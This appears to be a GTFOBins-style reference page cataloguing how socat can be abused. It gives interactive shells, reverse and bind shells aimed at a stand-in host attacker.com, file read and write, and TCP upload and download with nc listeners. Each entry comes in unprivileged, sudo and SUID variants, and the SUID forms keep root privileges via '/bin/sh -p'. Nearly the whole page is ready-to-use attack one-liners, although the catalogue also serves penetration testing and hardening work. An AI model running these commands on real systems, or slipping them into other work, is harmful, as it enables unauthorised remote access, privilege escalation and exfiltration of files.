Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    socat - exec:/bin/sh,pty,ctty,raw,echo=0
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    socat - exec:/bin/sh,pty,ctty,raw,echo=0
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.
    socat - 'exec:/bin/sh -p,pty,ctty,raw,echo=0'

Reverse shell

This executable can send back a reverse system shell to a listening attacker.
  1. This function can be performed by any unprivileged user.
    socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.
    socat tcp-connect:attacker.com:12345 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'
    ListenerA TCP server can be used on the attacker box to receive the shell.
    socat file:/dev/tty,raw,echo=0 tcp-listen:12345

Bind shell

This executable can bind a system shell to a local port waiting for an attacker to connect.
  1. This function can be performed by any unprivileged user.
    socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.
    socat tcp-listen:12345,reuseaddr,fork 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'
    ConnectorA TCP client can be used on the attacker box to receive the shell.
    socat file:/dev/tty,raw,echo=0 tcp:victim.com:12345

File write

This executable can write data to local files.
  1. CommentThe echo command is actually used.
    This function can be performed by any unprivileged user.
    socat -u 'exec:echo DATA' open:/path/to/output-file,creat
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    socat -u 'exec:echo DATA' open:/path/to/output-file,creat
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    socat -u 'exec:echo DATA' open:/path/to/output-file,creat

File read

This executable can read data from local files.
  1. This function can be performed by any unprivileged user.
    socat -u file:/path/to/input-file -
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    socat -u file:/path/to/input-file -
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    socat -u file:/path/to/input-file -

Upload

This executable can upload local data.
  1. This function can be performed by any unprivileged user.
    socat -u file:/path/to/input-file tcp-connect:attacker.com:12345
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    socat -u file:/path/to/input-file tcp-connect:attacker.com:12345
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    socat -u file:/path/to/input-file tcp-connect:attacker.com:12345
    ReceiverA TCP server can be used on the attacker box to receive the data.
    nc -l -p 12345 >/path/to/output-file

Download

This executable can download remote data.
  1. This function can be performed by any unprivileged user.
    socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat
    SenderA TCP server can be used on the attacker box to send the data.
    nc -l -p 12345 </path/to/input-file